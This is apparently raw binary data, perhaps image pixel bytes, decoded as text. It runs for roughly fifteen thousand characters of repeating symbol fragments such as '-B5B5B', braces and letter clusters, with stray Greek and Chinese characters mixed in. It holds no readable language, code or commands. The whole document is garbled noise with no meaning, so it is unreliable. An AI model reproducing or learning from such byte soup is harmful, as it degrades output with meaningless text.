!:-B5B5B5B-B!$)YUis1)aMYi {!(5J1B-B5B5B5Bc}Zu5!9{eUI9({saQE5s{$-5=AUQ]!e]]M!]A911 sk]QE=- akss{{ (-19=AEIMMQUUUYYYYYYYYYUUUQQMIIEA {{{{{}!})}]UME=91($-B1B1B1B(B5Bcim{{$(-59=AEMMQU)IZ-B5B5B5B1B1B! )s s{{!(559==AEIMMMQ])m!ee]]]aammium:={!$!$ ss{{{{{{{{{{{{{{{{{{{       1E1      ($ $)5{115mmmei)}]YU:Yk-BkJIIEA=9551-($ {{{s sske]Ys s{{$-5=EMU]ss{{$19EMUas  -5=IQYas skqkB1B5J1J5B5B5B-B5B5B5B5B-B5B5B5B1B1B1B5B5B-B5B5B5B1B1B5B5B5B-B1BJJEY s 5M]s{$-1( saM1{(B5B5B-B5B5B)5B!:-B5B5B5B-B ) Um{$9!ee{1)Q99!=R1B-B5B5B5B{I9({aQA- skUI{$-9EMU]a=:911aiaUQU=1${ s5YMA5${ s]es ss{{ $-159==AEEIIIMMMMMMIIIEEA$((---((($  !5  11um]UME=915)AZ1B1B1B(B5BZq {!( (159AEIMQUY]B]k1B5B5B1B1B5B!){{  !-9!I=AIMMMMMU])m!ia]]aeiiim:!)Q!$!${{ s ss{{{{{{{{{{{{{{{{{{{( :M   !(:=:=:9! 1-:yymeeameYUU1Qc-BJEAA=951--($ {{{sssa]Y]{ss{ (19AIQYass{ -5=EQYes{{$-5AIQU]1BAc{B1B1B-B5B5B5B-B5B5B5B5B-B5B5B1B1B5B1B5B5B-B5B5B5B5B5B5B5B5B-B1BJJ]s(AY s$=Qas skU= sM-(B5B5B-B5B5B)5B !:-B5B5B5B-B :)Y1$(=Qe!1$5I]a])ER1B-B5B5B5B{Z!YA !(eUA1 s(UI$1=IUas)1{-(!A11I${ ss:UI9- {s]QA5({saUYa5s ss{{ $(--15599=======99$(-1559999551-!A($!1 :=Ye]UME=9!E:Uk1B1B1B(J5BZ{{ (15=AEIQUY]aeYRi{-B5B5B1B1B1B!1{{{ :M-1(1E(I!M!U1eIIMQ!a!e!iYY]aaei:!yyyI{11 { s s sss{{{{{{{{{{{{{{{{{{{{{{$$:I $ $!- !- !$:5)$!5u1qeaa]a]UQM1MZ-BJJA=9951-($ {{s sskMaYńYaks{{ (19EMU]-s{{$-9AIU]a {{$-5=AIQUYZB5B5B1J9J5B5B-B5B5B5B5B-B5B5B1B1B1B1B5B5B-B5B5B5B1B1B5B5B5B-B1BJJs =Us$A]s-IQ kI(sQ-(B5B5B-B5B5B)5B!:-B5B5B5B-B-BQ!Y!=5I] s$9Ma$!AR1B-B5B5B5BsZA1s1U)]-{ saUE-=IUQ s{11]=!U:qQ)]E5({k]QA1${s]QA5${saQIQUYass ss{{{{ $$((-----{ (-59=AEEEEEEA=955=-!1{se]UMI:e!E:Qk1B1B5B(B!AJZ{{ (15=AIMQUYaeQssJa{5B5B1B1B1B1B!:  (:Q)A1-!=1E-!51]IEIM!aU)m)q!mY]1}meqm)}qqm]{ {ss s ss{{{{{{{{{{{{{{{{{{{{{{{{ ()9   !-)1 !$!( !A)}q:qa]]YYUQQI1MZ-BJJ=9511-($ {{{s s${ZZB!=J-B19AIQY$-5=EMU]k s{(19AMU]!Y{{{ (-59=EIZB1B1B-B!AR5B5B-B5B5B5B-B5B5B1B1B1B5B1B5B5B-B5B5B5B1B1B5B5B5B-B1BJJ s(AYs(E]{-AMI9 sQ5{(B5B5B-B5B5B)5B !:-B5B5B5B-B )eY-9Qa{$9Ma 5J1B-B5B5B5BZ-( saaEA {kYM=1AQ]s{(=EQ:u!yem)uE5({saQA5${s]M=1 skYI9AEIQUYaYks s ss{{{{{{ s{ (19=EIMQQUQQQMMEA=A5!A({{e]UMI1]!AR1B1B5B(BJesZ{{ (15=AIQUY]aUss s{)EZ5B5B1B1B5B1B!1$$19!A)I19!=--:Q1I!YEIMU:yY1qYY]!qem)yqmmmyYs{ss s s s s{{{{{{{{{{{{{{{{{{{{{{{{{$!1$!1$ $$)51=$ !( ! !$!$1ummiaa]YUUQMMI1Qc-BJJ951--($IEA=951($ZZ!=RZu)ER-BBQk5=EQUaks{{$(19ak s{ (19AMUiq s{{{$(-11ZB1B1B-B!9J5B5B-B5B5B5B-B5B5B1B5B5B1B1B5B5B-B5B5B5B1B1B5B5B5B-B1BJJs 9Qk{-AUakkeYI5{kM(B5B5B-B5B5B)5B !:-B5B5B5B-B) {iI5IYs{(9IUa5B5B-B5B5B5Bc}{{]MA1 {kYM={-=Q]s{-AM)}s- {!qI9({s]M=- s{UE9({saQE5-59AEMQUY]aekksUas{{(19AIQUY]]aa]]]]UMIE=:Y1${mq:UQ)Y-B1B1B5B(BZ (15=EIQU]aess s{{5J5B5B1B5B5B5B )1--9199=111!A55)E5!UIMQ:uUUUY]e!ummmi)imUsssss s s ss{{{{{{{{{{{{{{{{{{{{{{{{{{!-1=!1:E:E$ 19!(!(19:91-1q)!}mieea]YUUQMMIE:Yk-BJJ51]]YUUQMIEA=51-JZ)EZ5B5B!1=EMU]ks{{$-k=EU]ecm:EcRa{ŔŌkus}Zu1B1B-B5B5B5B-B5B5B5B-B5B5B1B5B5B5B1B5B5B-B5B5B5B1B1B5B5B5B-B1BJJ] s$9IYss{$$${skUA-s(B5B5B-B5B5B)5B!:-B5B5B5B-B)iM(9EUa s{(91Y5B1B-B5B5B5B:UcY1uA5${ saUI=-{$5IYk{$9IYs )I=U)]M=- seUE5${s]M=-s=UI9({$(15=AEIMQUAMY9 s{$19AMUYaYkssss {iiaYUMI!Q=- { {)eY!]I-B1B5B5B(BZZ$(-5=EMQY]ess s{{{{!=J5B5B1B5B5B5B ) :5595=9A555A)Q59:U!=IMQ!]UUUY]am:meeeem)5ssss s s s s{s{{{{{{{{{{{{{{{{{{{{{(:E(!- !$11! !$)$1-:E):u1ieea]YUUQMMIEA:Uc-BJJ1=eaa]YYUQMIE=91JZBYk-B)ARJQk!1Js)=R5Jk} BMk:Ec(B$:Icy :1!!$BZa{ :)1J!-J!5J : :!5J)AZ5J$:!=R )!!!!5B-B1B5B-B5B5B5B-B5B5B-B5B5B5B1B5B5B5B1B1B5B5B-B5B5B1B5B5B5B5B-B1BJJEUks -9AEEEA9 ss{{ sk(B5B5B-B5B5B)5B !:-B5B5B5B-B ){mM1{(5AMU]iqsu!9J1B-B5B5B-B{c5- {saUI=1${s{(9MYs{(9I]{(5AE=5({ seUE5({saQA1 {kYI=-{ s{{ $-15{$1AM]ks{(5AMU]es s{{{{{!({se]YQU)Y5({ {)}a:u!Y1J1B5B5B$BZc(-5=EMQYaes s{{{ $(:Uk5B5B5B5B5B5B):====AA:i=99=995=:]:U5!Y!YQU1qYe!i!i:eqaee:ui{ssss s s sss{{{{{{{{{{{{{{{{{{{!5)9{{!1 ($!-:E!({!(!)()Q)::qmiea]YUUQMIIEA=)ER-BJJ s {skeaa]YUQMEA=JJB]s-B)ER9JRi{kuJisJescy挪Ri{5J)5B!=JRk1MR(B!!))]BB]k5B!9J1J5B1B1B(B5B5J-B9J5B)5B5B5B9J5B-B1B1B-B5B5B-B5B5B-B5B5B5B5B5B5B5B5B5B1B5B5B-B5B5B1B5B)5B5B5B-B1BJJ 1=IU]asa{(=MYaeaYQ(B5B5B-B5B5B)5B !:-B5B5B5B-B!e!e=]k s{ (1=99)ER1B-B5B5B-BZ ssaYME9- { sIYk{$5EUk{$5IQas{!9!5 {{ skYMA5${s]QA1${sYM=-{s-kss{Yk{$1AQ]s{ -=IQ]1 s{{!5$!5ce:AZ!(B11J)IZ-B1J1EZ(B(B!(B: )JMk:Uk111-B1B5B1B$BZZ-5=EMUYaMss{{ $(-1B]k5B5B5B5B5B5BBUk1EEEEQEMA=====9A!E=5=:qQQYY:yaeia]aaeeieIssss s s sss{{{{{{{{{{{{{{{{{{{-)9{{$ $!-)1{{{{!M11!}uqiia]YY{$:1$:111:Mc!!9JsJJ{!-{ s ssskea]Y]]IAJJ:Uc-B5B=J!ARJi{{BYk!9JZqZyJassZqB]s5BJusc1Mk))]B)IZ5B5B-B1B1B1B(B5B5B-B5B5B)5B5B5B5B5B-B1B1B-B5B5B-B5B5B-B5B5B5B5B5B5B5B5B5B5B1B5B-B5B5B5B1B)5B5B5B-B1BJJ-k s{(Ee{9Qs{1AMMMA-(B5B5B-B5B5B)5B!:-B5B5B5B-B1I$! 9AIQU]akss!AR1B-B5B5B-BZIA91( { sk]U1AQa s{s1EZRi{{-Re{!9Rk]qes(B(BMA9({sqs{1sy{y-1EsuskΜQZ]{19R$BJUkJ]{BYkJe{:Yk! : ) )11=RBMk(B11) ::11) 11!9R1 :) ) )) : 1!9R1-B1B5B1B(BZ5=EMUYas s{{$(-159Ji1MZ5J5B5B5B5B)ER1(Bs:Qk:Mc{BmIs)=RJ]sAAZe{)5Rs}=!A!Es$B(B]]!])uť{sses{} s19susykqŜ{{{{{{{{{{{-1A${!1 (:A)5{{{{{:9)()E!1)1!}!ui!uaeYU֜MRa{A{ZBJJ({{{{s sssE!yeYQMJJ!=J-B5B5B1BJi{JYk5B!9J-B1B1B1Qck}5B5B1UZ)km{1AR)aB1MZ5B5B-B1B5J1B(J5B5B-B5B5B)5B5B5B5B5B-B1B1B-B5B5B-B5B5B-B5B5B5B5B5B5B5B5B5B5B1B5B-B5B5B1B1B)5B5B5B1J1MZJJs5 s1Q s-Ms$Ea{(591{=(B5B5B-B5B5B)5B !:-B5B5B5B-B)cqqQ!U{{ (-1599!=J1B-B5B5B-B{ZBZssk]YQE=5{$5Z)ޥ{Rq{Zq޵{JasBQcRm{Z{Zu{k:9:JYk)aB{Zu)AZB]s:Yk)IZc}s1IcZuB]k:IZJm{{cy:Uc)EZ!9J1Qcc}kZuRqJes1MZ1McRi{1MZ!9Z5R5R)ER1MZ1Mc!=R!9J)EZ:UcER9J5J:ER1MZ1Qc:Uk!AR5J1B)EZBQc!9J5B!9JEJ)ABc:9: !:-B5Jcy-B1B1B1B(BZ=EMU]es s{{ (-59=AE!=J9J5B(B(B(B5B5B)IZZyBYk1McZuky:YkJi{sֵ{1Ic)9JRm{Z{Zu{(B! !R]k1eB{Zy)EZB]s:Yk)IZc}s1McZqBYk:ERJm{{cy:Uc)AZ!9J1Mcc}kZqRmZuZusֵsc}Ŝ֭ZZJJZ)JJcZBJJJBZJZZ1!}!:!y11!qiiYU1ZZBR愶)ZZZJJJ$!=$ {{{{s ssYa]UJJ5B-B5B5B1B)IZ)9J9J:Uc-B1B1B!9JJ]k5B1BB]kAB)km{!1B)aB!AR5B5B1B5B5B5B(B5B5B-B5B5B)5B5B5B5B!9J-B5B5B-B5B5B-B5B5B-B5B5B5B5B(B(B$B5B5B5B1B5B-B5B5B5B1B)5B5B5B!9RBasJJs s sMs-M s1Us5Us${a={(B5B5B-B5B5B)5B!:-B5B5B5B5B!!$BYE- IMUY]aYk5!=J1B1B-B5B-BRi{ZBZIE=91( {M]s{Z):Ucc}Zu1IZsZykޔZuBYkRy{)kikcu)]B1Uk)ER!AR1Mc:Uk!=J!=ZB]k)ER-BRq{:Yk)5B5J5B5J!9J1J1B!9J)ER1J9J!AR!=J!9J-B1MZ!AR5B-J:Uc!9J5J5R)ERER!9J!AR!9R)ER!MZ)EZ:Uk:MZ)IZ!=J!AR5J!AR1Qc!9R:IZJasBYk1YZ{1BAB!1]Ō9J5B5B5B-B1B1B(BZAIU]ess{$-15=AEIM1Qc!AR(B5B5B5B(B5JAR!=J)AR)AZB]k:es1QcJi{{Rm{)ERkZuZyքZuB]s!9Jkk1Mkku1eB1Yk)IZ)AR1Mc:Uk!=R!=ZBas)IZ1BRm{:Uc)5B5B5B5J!5J1J1B!9J)ER1J5J!=R!AR!9J-B1MZ!AR5B-JJes1MZ!=J:Uskc:UkZqsJ挦cyBJBcJZZ1::!y!ymi1}:!i]U1ΌJa{{޵ތ{ZZZBJR1!I1U9($$ {{{{ {!}])5B)AZ1IZ5B1B)IZ)5B)ERRi{!=R5J1BJa{1AJ5B1BkAB)kq{!)ekJas5B5B!9J!9R:Yk1B(B5B5B-B5B5B)5B9J5B5B)AR-B5B1B1B-B5B-B5B5B-B5B5B!9J(B5B5J5B(B5B5B5B5B-B5B5B1B1B)5B5B!9J)ARBYsJJEIME{A1$Is-U{=YYA{Y(B5B5B-B5B5B)5B !:-B5B5B5B5B11!I{ sak{(9EU]e)EZ1B1B-B5B-B5B5BBZs]M9${$Q-=M]Z)!=RRmJYk1MZZRi!ARRm{s9J5B:ec)kisR]k)YB!ER5B!=J)IcRm1B!9RJes!=J-B:Uc!AJ)9J5J5B5B!AJ1J1B1B5J-B5B!9R5B5B-B5B9J!AJ$B!9J5B5B(B!AR5J1B5B-B5B5B!=R)ER1ER5B9J!AR9J5J)IZ5J:ER5B1B1MZ)UZ1km{ !ތ9J5B5B!=J)EZRm{1B(BZIQ]es{{ (-5=AEMQUYRq!AJ(B5B5B5B(B5B9J5B5B-B5B5B!=RJi{JUk5B5B5B1J5JB]ss}5B1B1YZ1kq{Ras1aB!ER5B5B-B5B5B!9RJis!AR1B:Uc!=J)5B5B5B5B5B-B1B1B1B-B5B!9R5B5B-B5B5B5B(B!=J5B5B(B)ER)AR1B5B-B5B5BZys5B5B5B-B1BB5B1BZŌ1!}uu1iea)u)q:}!e1:Uc-Bk)5B5B5B1MZ1MZsJJ=A1YA1--(($)E ({kZRqk{!ER1B)IZ)5BRi{ޜkJes1B-B)5B!=J1BRqAB)kq{!)YBk5B!=J:UcZu!AR$B5B5B-B5B5B:IZAR5B5B)AR-J1B5J5B-B5B-B5B5B-B5B!=J1IZ(B5B!AR)ER$B5B5B!9J5B-J!9J5B5B1B)5B5B!=J)ER1McJJ{ {$Ik(Ms$E]s skU9{(B5B5B-B5B5B)5B!:-B5B5B5B5B!1UE5 sAU{s -5)EZ1B1B-B5B-B5B5BBZ({ sQA({k{{ Z)9J)IZ)9JkZZk)IZR]k:Qc1Bc}!MR)kq{!1B)aB9J9J1MZc}!=R-JBUk!9J-B)ER5BBIZ=J5B5B)ER!9J1J9J1B-B5B1J5B5B-B5J!AR)Ec!9J5B5J)ER(B5J5B!9J9J1J!=J9J!=J)IZ)9J5B!=J)EZ)EZ!AR9J!9RBMZ5J1B:Qc!MJ1km{ !JYsBUk5J5B9J1MZcy!=R(BZZQYes{{ (19AEMQU]aas-J5B5B5B5B$B5B5B1B5B-B5B5B9J)IZ)=J5B5B5B1J5J)EZR]k5J5BJasEJ1km{!1B1aB9J5B5B-B5B5B1JBYk!9J1B)ER5B)5B5B5B5B5J5B-B1B1B-B5B1J5B5B-B5B5B(B5B5B5B5B(B5B5B1B5B-B5B5B)ER{:ER5B5B5B-B1BBs5B1BZJqs1q!yqqia]]]Y!e1!9J-BBYk1AR=J5B5J)ERc}BJ1eI:m!UI99511=:U(:IsZJZBZ)Rqνޭ޵ޔZu{1Mc5B:ac)ku{{{Zqc}kJesZyB]s!9J)ERcm{1Yk5B1MZRm{Zu1Qc1IZ!9J1J!AR5J!9J!9J5J!AJ:Uc1Ik5B!9J:Yk:Uk-J)ER)IZ1Qc!AR!=R1MZAR5J1B)=J!=J)ER)ER)EZJJ]]YM9=]{5Mas{ {seM1(B5B5B-B5B5B)5B!:-B5B5B5B5B) ){sYE-e{(=Q]s sBJJB{ZBZA-{kQ=(9AIMMZ)JJZZZBJRޔŭεsRms)km{{JYs)EZssJasRq{JasJisRm{BYk1IZ:Ucku:]k5B1IZRm{sBYs1Qc!=R1J)AR5J!=J!9J!=R1MZ:UkB]{!=J-J1MZBYk-J!9J!=J)IZ)ER!=R1MZER9J5J1=J!=J!AR1MZ1Mc1Qc!=R!AR:IZ)AR5J1Mc!MR1su{1=Z)AZZuJm{:UcJeskJasJeZYas{{$-5=EMQY]aUss s5R)AR-J!9J5B$B5B5B:UkB]k1Ic5B5B5B)MZ)5B5B5B!=J!9R5J1BJa{1AR5J5BkAJ1km{!1aB5B5B!9J)EZBas5B-J)ER5B1B5B5B)5B5B5B5B!=J!9J-B1B1B-B5B-B5B5B1J5J!9J5R!9J(B5B5B(B5B5B5J!9J1J5B5B1BB]k)5B5B5B!9J!9R5J:Uk:ER5B1BZ!MJ1q!ymm)yeYUUYU1Z5B-B{!=Jku:as5B5BJassBJQ]1m!aIEEA==999)M!={ZJZBZ)JJZZZBJΔZJ量εބ)kis!1RJa{Rq)ZR挢:YkRmc֭ޔ{JasZes{Rm{:UkZqksc}Ja{1MZ)ER)EZ:UcJasZuJi{1Mk{k:QkBYkB]kZuRq{ssBes1IZ)EZZi{kΌZuJJ95$ sU5AYs{(151-{1EU(B5B5B-B5B5B)5B !:-B5B5B5B5B1)=$ s]E{5Ma{(9EBJJBZBZZBZU=(s]I1]k ss{Z)JJZZZBJJBZJZZ1kis:IcZucy)ZZBasRqcŜΜ{Zqky{{ZyBYscy{kJe{1Qc)IZBYsB]k:UssZyJa{Ric}1QkB]kB]k{ssk:es)IZ)ARku{{Ri1Qc!AR)EZcqk1MZ1YZ1kq{JUc!1J!9RRq1Zk!AR)IZZyZZa s{{$-5AIMU]a ss s{{{Zy)IZs:Us!9J(B5B5Bń1MZ9J1B)MZ)5B!=JRm{Ji{Ja{)IZ1B-B)5B9J5JZqAB1km{ !1aB5B!=J:Ucc}!=R(B5B5B1B5B5BBMZ=J5B5B)ER!=J-B!=J1B-B5B-B5B5B!=R)AR5RB]kBUs)AZ-J5B(B5B5B1=J)ER!=R!9J5B1B1IZ)5B5B!9J1IZ1Mc!AR1B-B)5B5J1BZEJ1mmim)q]YUQQM15J-B5B5B֌5B5BBJU]!iaUQMMIIEE)]E1${ skaUM=5I s{(9IUk{ 1EUes :Ic)9RYaeJa{:Ic5 sZq)5RRYsIΌZa{JQkk}asyR]{JUkZi{ŔŌ֜{{YQ{kY{Ys saA{Y1s(5AIMY{A s =Q(B5B5B-B5B5B)5B!:-B5B5B5B5B!!U= sQ(E]{-Ia{$sQ9 sU=$ sYE-{QM9{(1=AAA=5- {kYE5 s{ 119)aUIRi{Ja{QQMMJa{Ja{$5cy1EZRiU֌ZmJUkku ssRe{JUssu{ťΜ{k{ŜŜŌsqsusŭ֭Δscu{ŵ֥casY1aA! B5JZqQA{:EZ)9RsQ]i {{$-9AIQYass{{{ $)Z)BRyRm{!=Jŵޜs΄:Qccq{sZyssc1Mc)EZJ]k1Qc5J5J!MR1kq{{{ZuckJisZyB]s!9J)ERcm{1Uk5B)ERJesc}BYs1Qc!=R1J)AR!5J!9J!9J:Qk:Uc1IcZuJa{)EZAZB]k)Ec!9J5B:IZ:Uc:Qk1MZ!IZ!=R5J1=J!=J!AR1QcBYs1Qc!9J)=RBMZ!AR5J5B!MR1imeae!mUQMI11cZB攮1֜ZZBJ]!u!ua]aYYUUQY)e!Y=5-${ssaUI=1s{(9IUk{$5EYs(1I)q)s{{!$mU=1Q s]M-s]Aa{-AYs{-=IQUQM=-{=AEEA91Ek$M s1U{=M(Q{U-kA{Q$Y s=k-Y Ms5M(B5B5B-B5B5B)5B!:-B5B5B5B5B )!]A$sQ(A]s(EY s {(${s]I1{sU=(saM$9IUakssseYM=({kUA({]-ss( $(--11--(s 1AQYeksss]]QE5${kUE1{(=Q={(=Ma s 51m] {1Ei9!iiaI=119u1UI)I)9i]M=(5AMYe s{ -9AMU]es{{$((-1)Z)B)ZZ)ZZBZ)ZuZZZ愞Je{ZuZRZuc1km{{!5RJe{Rm{1Zk1QcRmcޭޔ{JasZes{Rm{:UkZuksc}Ja{1Qc)IZRmB]k:Usk{s:QkRi{:Yk1MkZu{c}:as1IZ)ERsńRm1Qc!=R1Icss:Uc1YZ1i)}!q])q!e1uMII:Y1cZJZZ1ZZZZBJi:mqiqeeeaaiYUQA91${{saUI=s{$5EUE{$5IY=!Yes{$- {YA=s]E( sU= s(AY s$9Masss skUA( sQ{{ss-Us5]{Ak(M s-=5{]9sM$Q]1a(U Q{M{M(B5B5B-B5B5B)5B !:-B5B5B5B5B! )Q5{aE{-EY s 1AMQQMA5${kUA-{kUA5M] s{-599- saM9 sYE-{aIQU]eks s s ss sk{(=M]s{{ $ {sk]M9({kUA s 5I] s 5IYs{1IU9{(=Q]a]:uI5!1)-u!iQ!I!A!-{eUE{ 1=IUas{ -9EMUas s{{$(159==AAAA=9951($ {{ ssUea:)qŭYU)]!U֭A!E!A:Q19R!-JZm]UY:Qk)EZsaece)-JZYssŌZa{JQkkq{s}RYsJQk{{ťŌ{s}ťťΥ{s}syťŔsyceťťcms1qe11}]Y!e]MI-1UA!IE!Y:q:qUY)u]a!uim5{ := s s ss)(!]maiQI=5({{s]QE5s 1AQas 5Ei s!9AQi {$9M )(!q=5 s]= sQ59Us$=Us{-55-{kM1sU1sU{9Y{=a Ek AUYeU= a=s(=IM s=s5a(Us (B5B5B-B5B5B)5B!:1B5B5B5B5B1 :1{aE(ss{1AQ]s s{{s sk]QE5$s5UA 9Qk{1IYkk]I5{kQ= sYA(s]E19=EIMQQ9Q${-AUk{$19A=9- saQ9(saM9{-AUk{-AU{{(=Ma s1=II1eE)Q1I !!m!a!U1Q-m]M=(9EQai{(5AMYis{{ (19=AIIMMMMIEEA951($ {{s{=ii:)q!iUQ)]!Q!M)U=511I:I!Y)a!]YY!qiaaeeis s{{ {{ $$$$$$(($$$$((1M)A)A$ 1!9{{{!-{ ssYmmee)}]Ya:y]QE-1E:a1eQU:u]e)u)}e!}q{${{{{{ )-se]UMA5- {s]MAs{(=M]s{1EY s{51ia{9=Ueq:y5$i:}5{aEs-Ie{9U s$=QYUE- sU1 sQ-=Uk{Y{9]{9Us{$( s]A{=]{(55-9a$Ik{$$$B5B5B-B5B5B)5B !:-B5B5B5B5B )!kQ5{sUAQa s{$-599991( {saUE5 {1MY{1Me{1 s]E-{aI1{ sM5{kU9 {{$(-{5Ia{-AUs{1AQYYUI9$saM5 sYE s 5I] s 5I] s{1EUe{(15511!(:m!u!i!U:a!=  eUE5-EMYq!${$5AMYe11{$19AEMQUUYYYUUQMEA95-( {{{ s$m!yeYUQ)eMME:Y91-(!5U!Y!a]]i:aqeiis {! {{{$${ $$$((((((((((((()I)E(- !9{{{{{!  ss{yiea!q]UU!eU)]A--59EE)eUa1y!mmq5{(  $$((((11)E {{seYQE9-skYI9s 5EUk{(=Qe{-IY)$ 5IMII({iE( sU={5U s-Ik A]s{ sU1 sM(kE{s 5a]a-Mk{1EMQMA-k-Y{Aa{ {{UAA]s -- (B5B5B-B5B5B)5B !:-B5B5B5B5B111{kU=(s{$5AIQY]]a]YUQI=5({ sMk{5Qk{5Mk{(51$saM5{sU=$ sYA(s]aE]s(AY s$=Us{5I]s{ seQ9 sYA-{eM5{(=Uk{-=Qe{$5IYe s{   y11u)a)Q1Q(i]M:e{$5:mYa]  1=IUas)1 (5=EMU]aeU s]ea]UQME=91( {{{{q)}:]UQM)aI)U!E=9-(- QMYY)q)qeemi1)s)-{{{!5 { $$$(((---------(((9-(!=$ {{{{{{ss:I1eaeeYUQYUE=(-19EEMUe)y!uq!y-(--15599A=!M1( {sk]UE9-{ seUE5{(=M] s 5IY s19Mi:=1!I51(m!e=$YI-=]{5Us1Us5MsI${A{Y5{5Qk{911(IYks{ssak1a-Y MkkE{I{{-55k=$B5B5B-B5B5B)5B!:-B5B5B5B5B!1UE1{sY1AMY]ss{{{ {{{ssk]UI1Ia{-I]s$=M]1k$]Q=-{kQ=$ sYE-{asaM={5M{{5MM{1Ia{(1{]E-{aM5{sU=s{1IYs 5EYs{(9IUa5 {{Ymi!a)a1])E!-qaUE)I(9M]i)-)9(9EUas)9-15AIU]es s sss ssse]UMEA91( {{ s! !}i]YQM1iIA)M=5!9( EIUU])u!q)y:)!: {{15{$!-)9  $$$((---111111111---:]-(!A$ {{{{{ s ss$mea]ieQMM!]!U$(-15=AM:y)q!q!u:)()-)5$!=1959=AEIM!aQA95( {siUE9({s]M= s{1AUQ{(=Qe$9=Qi{  {!y)mE!A{U=k A]{9Y{9]{=UM1 sQ(kE{=]{9QmkeU9{9==5-U$U U$U(ea-](U{1-k=s(B5B5B-B5B5B)5B!:-B5B5B5B5B)) s]E(s5IUakssk]QA1{kQ=51( U s$=Us{5I]s{(1995-${kYE1{sUA(=5-${Us$=U s$AY s(AYs(EaYI1{kQ9 sUA( s$9Mas$9M]s{(9EQYi)ye!ma:q1e1U:U1A)-u1y1iI9 1AUau$1IM]Y{$=!MAMYass{{ {{ s saYQE=5-${s {)u]UQMMQA=!A1:M1E:E{AEMQ:}:}eemiyu{{!$)5)9( $$((--1111555555511115--11$ {{{{ sss!yyi]a:YQII1eE $(-59A!]Uaimu1-11!-()E1M==QIMQU]a)yiMEA1${aUE5${kUE5s 5EYs{-AUA{(9Iim!}!ui]Q5{aI9e{=]{9Y{5U s$- sU1 sMs9a Ek I9( sQ$a1as9k5k5-1]{ sM{Qa{-9{Y-(B5B5B-B5B5B)5B!:-B5B5B5B5B! )Y=$sM1k{1AIQMI9({eM1{aE( sU]E]s$=Qk{(=MUaksss5YQA1 saM9$e]UMA1Ys(E]{-Ia{1Ia{-=A9({UM9 sUA(Y{(AUk{(=M]s{$AAIU)aY1e)Y!MA1I)9!$!y)q)e:e=!1)=)Q!QYm!5-=1mYe {-)UUMYe s{ (-11( { sk]UME91( {{s(i])uQIEI)U9)I1M-$)5 {M=AIQU)qa]!uiqA! )(19!(!1 $((-111555999999955551Y1-:Y-$$ {{{{s s {!Mua]Y:!aMIEMA 5$-15=MM1yamq)(:9!1-1M!AAIQQU]a!y:Y)Eia]]A51$ saQA1{ saM=(s$9IYs{1Aei{ 1=MIM:m:a:U$e1u9 ]{9Us1Qs(AY(k]I-sU--U{Es1)u ssE{Q U$EaA s9k-U{-91{Y55]{-1$Q{(B5B5B-B5B5B)5B!:-B5B5B5B5B1)9R{aAaA-Ia{(11$saE( sU9{aE$(1551(s 5IYk{ -5====9-${s]M{$((${skUE1{-Ie{5Mk{5Ias{$ {s]I1{sU=$ sk{1EYs{-=M]s{)=1===:]=511A15::e!Y!M!A!11)-)A:aQ]u15(1U)]Yas{$5IYYe s{$19AE=-{saYQE=5( {{s5aaUQEAA:]51!=!5- {mi9=EQQaY]amm9)1)1  $((-1155999=======9999551=)Q($ {{{s ss1yma]Y!iQIEAA9  $(19AIU]eiu1-)1!5!9!EIIMQYes  :E{siQE9-:IsYI9({kUA1${$5IYs{-AQas{ (--5(:9eUI sU s-Mk A]s(9==5 sQ1s=k1](U I!$= sA sAJM$AJy{RYsJUscu:Mc)ARcqBMc :Je{JUk5J ) )!1 ))(B5B5B-B5B5B)5B !:-B5B5B5B5B!1JŔΥŌŔťΔsŜťΥŔ{Δ{RUs:9Zkis{BUk19RsyAks)AZBEc s sRUs!9RcME- :-BME1UΥŌ{{ŔΥŌťΔsyŜΥΥΔ{Ŕ{}Rq:9ZkqI{}BMk1AZsYk{y)-JJMk( Z]{)-Js}!m)u:uΌ :$B:9)BEέ֔Ŕέ֌Ōŭ֔ń{yť֥֔{{Zm:Mck}1{BMk19Rsu]k{)=RJUs91UZa{)1Jsy)9{!9J5Ja9:U֭֌{Υޥ֌ťťŔsťΥΔ{Ŕ{Zi:IckyA{BUk1EZs5ss)5RBQk {RYs!(Jki{!ue$:-BME1Y֭Ό{ŔťΌΥΥ֔Ŕ{}ťέ֥֔Ōci:Ecku {{JUk:Ecs}aks)5JBMk]IR]{!ARci 5E ):9E1e֥Ό{}֭֔֌ŜΥŔsyŜťŔ{Ŕ{}R]{:Mckmc}:Ec$B:EckmkciBYk:1:UkZa{1EZ(B1J1)Je{Zy!-J1)!1s}su)!!)! ))$B5B5B-B5B5B)5B !:-B5B5B5B5J-B)IZ1Qcc}{1MckJi{BUcJm{s{J]k:Qc)AZB]sZqsc}kkRqRi:Uk{Ja{Rq:]k:UcB]ssB攮ZuB]sB]kRqJkyJesJas{J{1Mc)9JRi{ZZu{(B!!JUc)]B愮{BYkJa{Jes1Qcc}{1IckJi{BUcJq{s{Jas:Qc)AZB]sZusc}kkRqRi:Yk{JaRm{:ak:UcB]ssJ攮ZyB]sBYkRqJk}Ji{Jes{J{1Mc)9JRm{ZZu{(B!!JUc1eJބ{BYkJe{Jes1Qcc}{1MckJi{BQcJm{sJas:Qc)AZB]sZusc}kkRqRe{:Uk{JeRq:as:UcB]ssJ攮ZuB]sBYkRqJk}JesJas{J{1Mc)5JRi{ZZy{(J! !JUc1]Bބ{BYkJe{Jes1Qcc}{1IckJi{BQcJms{Jas:Qc)AZB]sZusc}kkRqRi:Yk{JeRq:ak:UcB]ssJ攮ZyB]sBYkRqJk}JesJas{J{1Mc)5JRi{ZZu{(B! !JUc)aBބ{BYkJa{Jas1Qcc}{1IckJi{BQcJq{Jas:Uc)AZB]sZusc}kkZqRi:Yk{JaZq:]k:UcB]ssJ攮ZyBasBYkRqJk}JesJas{J{1Mc)5JRm{ZZu{(B! !JUc)]Bބ{BYkJe{Jes1Qcc}{1IckJi{BQcJm{s{Jas:Qc)AZB]sZqsc}kkRqRi:Yk{JeRq:]k:UcB]ssc}BYk:Qk:QcJi{kkB]s:IZ:Qc1MZkZu!AR-B)5B!9JŌJu{)AB$B! ! 